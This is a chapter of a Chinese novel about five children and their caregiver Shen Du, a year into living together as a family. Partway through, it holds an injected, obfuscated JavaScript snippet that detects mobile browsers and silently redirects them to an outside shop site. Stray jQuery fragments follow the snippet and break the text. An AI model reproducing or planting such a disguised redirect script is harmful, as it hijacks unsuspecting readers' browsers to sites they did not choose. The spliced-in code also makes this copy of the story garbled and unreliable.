一年后。
沈念七岁了。掉的牙长出了两颗，歪歪的，像两粒没排整齐的玉米。沈渡说要带她去矫正，她说不用，歪的好看，歪的笑起来比较真。沈渡没有反驳，因为她说得对。
林暮九岁了。他终于换掉了那件洗得发白的蓝色睡衣，不是因为不喜欢了，是因为实在穿不下了。他把那件旧衣服叠好，放进抽屉最深处，和那条浅蓝色毯子放在一起。偶尔夜深了，他还会打开抽屉看一眼，不摸，只是看，看完关上。像翻开一本旧相册，知道过去在那里，但不必时时刻刻抱着。
林鸢八岁了。她的琴拉得越来越好了，老师说她有天赋，她说不是天赋，是小夜教她的。没有人听得懂这句话，但林暮听懂了，顾夜也听懂了。有些话不是说给所有人听的，是说给听得懂的人听的。
顾夜九岁了。他手背上那张创可贴早就不在了，伤口好了，连疤都没留下。但他还留着那张创可贴的包装纸，压在枕头底下，和小熊举着蜂蜜罐子的图案一起。他不说为什么，但沈渡知道。有些东西不是为了有用才留着的，是为了提醒自己——有人在意过。
傅星辰八岁了。他不再梦游了。不是治好的，是不需要了。他不再需要在深夜敲每一扇门喊“妈妈我回来了”，因为他醒来的时候，已经在家了。门开着，灯亮着，厨房里有粥在煮，走廊里有拖鞋啪嗒啪嗒的声音。他不需要梦里那个家了。
五个人，五把椅子，五只碗，五盏灯。
日子就这样过着，像一条河，不急不慢地往前流。
沈念学会了骑自行车。
没有辅助轮的那种。
沈渡在后面扶着车座，跑了一圈又一圈，沈念在前面喊“爸爸你别松手”，沈渡说“我没松”，其实早就松了。
沈念骑出去很远才回头，看到沈渡站在原地，两只手插在兜里，笑眯眯地看着她。
她愣了一秒，然后从车上摔了下来，膝盖磕在柏油路面上，擦破了一大片。沈渡跑过来的时候，她正坐在地上，低头看着自己流血的膝盖，眼泪在眼眶里转了又转，愣是没掉下来。
沈渡蹲下来，用碘伏给她消毒，棉签碰到伤口的时候，沈念终于没忍住，“哇”地哭了。不是因为疼，是因为那句“你别松手”被辜负了。
沈渡把她抱起来，她挂在沈渡脖子上，哭得一抽一抽的。沈渡什么也没说，只是抱着她走回家。走了很久，久到沈念的哭声变成了抽噎，抽噎变成了偶尔的吸鼻子。
快到家门口的时候，沈念把脸从沈渡颈窝里抬起来，鼻尖红红的，眼睛肿肿的，说了一句：“爸爸，你下次松手之前，要先跟我说。”
“好。”“你说了我就不会摔。”
“好。”
“……骗人。我肯定还是会摔。”
“那我接着你。”
沈念想了想，觉得这个方案可行，点了点头。她把脸重新埋进沈渡颈窝里，过了一会儿，闷闷地说了一句：“爸爸，你跑得好慢。”沈渡笑了，笑得眼睛弯弯的。他说：“那我下次跑快一点。”
林暮当上了班长。不是他选的，是全班同学选的。投票的时候他得了二十九票，全班三十个人，他投了弃权。
他站在讲台上，下面二十九双眼睛看着他，等他说话。他站了很久，久到班主任准备打圆场了，他才开口，说了一句：“我会擦黑板。”
全班笑了。
他又说：“擦干净。”
全班又笑了。他没有笑，但他也没有紧张。他只是站在那里，像一棵安静的树。
后来他真的每天留下来擦黑板，擦得很干净，粉笔槽里的灰都用湿布抹过，黑板上没有一道残留的笔痕。同学问他累不累，他说不累。
不是逞强，是真的不累。擦黑板的时候，他想起刚来沈渡家的那些日子，他每天把桌子擦三遍，把碗柜里的碗重新摆一遍，把走廊里的小夜灯擦到没有灰尘。
那时候他不知道自己在做什么，现在他知道了。他在把一件不完美的事情做到完美，不是为了完美，是为了心安。
林鸢参加了学校的才艺表演。她拉了一首曲子，叫《小夜曲》，是她自己取的名字。
曲子很短，两分钟不到，没有复杂的技巧，没有华丽的变奏。
她只是用琴声描摹了一个夜晚——有小夜灯的光，有走廊里温水的味道，有人翻书页的声音，有人翻身把被子踢到床尾，有人轻轻推开房门帮她把被子盖好。
她拉完的时候，礼堂里很安静。没有人鼓掌，不是不好听，是好听到大家忘了鼓掌。
过了大概五秒钟，掌声才响起来，像迟到的雨，哗地一下，铺天盖地。
林鸢抱着小夜，站在台上，没有鞠躬，没有笑，只是站在那里。她的眼眶红红的，但没有哭。
她知道这首曲子不是因为悲伤才让人想哭，是因为幸福。幸福是会长出血肉的。它不会永远是一颗糖、一条毯子、一盏灯。它会变成骨头，支撑你站起来；变成肌肉，让你有力气往前走；变成皮肤，替你挡住那些不会停止的风和雨。你不需要别人问“你还好吗”，因为你已经学会了自己回答：“我很好。”
顾夜考试得了第一名。他没有告诉任何人。
成绩单发下来，他折了两折，塞进裤兜里，和平时一样安静地收拾书包、排队、走出校门。
回到家，沈渡在厨房做饭，沈念在客厅画画，林暮在擦桌子，林鸢在练琴，傅星辰在帮沈渡剥蒜。
一切和平时一样。顾夜把书包放在玄关，换了鞋，走进厨房，把那团皱巴巴的成绩单从裤兜里掏出来，放在灶台上。
沈渡正在炒菜，油锅滋滋地响，他没有立刻看。炒完那盘菜，关了火，把锅端到一边，才拿起那团纸。展开，皱了，被油星溅了一小点。上面写着：顾夜，数学100，语文98，总分第一名。
沈渡看了很久。久到锅里的菜快凉了，久到沈念在客厅喊“爸爸我饿了”，久到傅星辰把一整个蒜都剥完了。
他放下成绩单，打开冰箱，从冷冻层拿出一个冰淇淋。香草味的，顾夜最喜欢的。他把冰淇淋放在顾夜手里，然后转过身，打开煤气灶，继续炒下一个菜。没有说“真棒”，没有说“考得好”，没有说“爸爸为你骄傲”。
他只是给了一个冰淇淋。顾夜站在厨房里，冰淇淋的盒子冰凉凉的，贴在掌心里。他低下头，看着那个冰淇淋，嘴角弯了一下。
然后拆开包装，咬了一口。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547264|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很甜。像去年那颗草莓糖一样甜。
但不一样——去年那颗糖是别人给的，这个冰淇淋也是别人给的，但去年他觉得自己不配，今年他觉得自己配了。不是因为考了第一名，是因为他住在这里一年了，每天有人给他倒水、留饭、等门。
一年是很长的时间。长到够一个九岁的孩子相信——我值得一个冰淇淋。不是因为成绩好，是因为我活着，我在这里，我是顾夜。这就够了
傅星辰画了一幅画。很大，用了整张素描纸，画的是他们家的圆桌。沈念抱着念念不忘的腿，林暮端着一杯水，林鸢抱着小夜，顾夜手里拿着一个冰淇淋，他自己手里拿着一支笔。空着的那把椅子上，他画了一盏灯。不是小夜灯，是一盏很大的、像太阳一样的灯，光照着整张桌子，照着每一个人的脸。
画完了才发现，灯没有画灯座。它悬在那里，像一朵没有枝干的向日葵，不知道从哪里来，但它的光是真的。
傅星辰把画贴在冰箱上，用一块吸铁石压着。吸铁石是一只小刺猬，顾夜送的。小刺猬趴在画的最上面，像一个在看画展的观众，歪着脑袋，好像在说：嗯，画得不错，但这里可以再亮一点，那里可以再暖一点。
傅星辰看了它一眼，觉得它在胡说八道，但还是拿起笔，在空椅子周围又加了一圈光晕。
淡黄色的，像傍晚的夕阳，像早晨的阳光，像走廊里那盏鸢尾花小夜灯的光。所有光的颜色都是不同的，但它们都叫“光”。就像他们五个，都是不同的，但他们都叫“家人”。不是生来就是的，是一天一天地、一餐一餐地、一句一句地、一个一个地，变成的。
“爱会长出血肉。不是比喻，是真的。
它一开始只是一颗糖、一条毯子、一盏灯。你给出去的时候不觉得什么，很小，很轻，像蒲公英的种子，风一吹就散了。但落在土里就不一样了。它会发芽，会长根，会从土里钻出来，变成一株幼苗。很脆弱，风一吹就倒，雨一打就歪，但不会死。
因为它有人浇水、有人挡风、有人扶。不是一次，是每天。日复一日，年复一年。
浇水的人不觉得什么，但幼苗知道。它记得每一滴水，每一次扶正，每一个被挡住的夜晚。
它把这些东西都存起来，存在年轮里，存在叶片里，存在每一根向着太阳的枝桠里。
然后有一天，它长大了。不需要人浇水了，不需要人扶了。但它没有忘记。
它会变成一把伞，替后来的人遮雨。它会变成一座桥，让过不去的人过去。它会变成一棵树，在你老了、走不动了的时候，让你靠在它的树干上，歇一歇。”
沈渡说这些的时候，眼睛里没有泪，没有光，只是很平静地看着院子里的五个孩子。
沈念从落叶堆里爬出来，满头满脸的树叶，像一个刚出土的远古文物。林暮帮她把头发上的叶子一片一片拿掉，拿得很仔细，像在拆一个易碎的礼物。林鸢把琴放下，蹲下来帮沈念拍裤子上的土。顾夜递过来一张纸巾，傅星辰帮他撕开了包装。
沈渡笑了。
那笑容不大，但很深，深到像一口井，你往里面看，看不到底，但你知道底下有水。很清很甜的水，够五个人喝一辈子。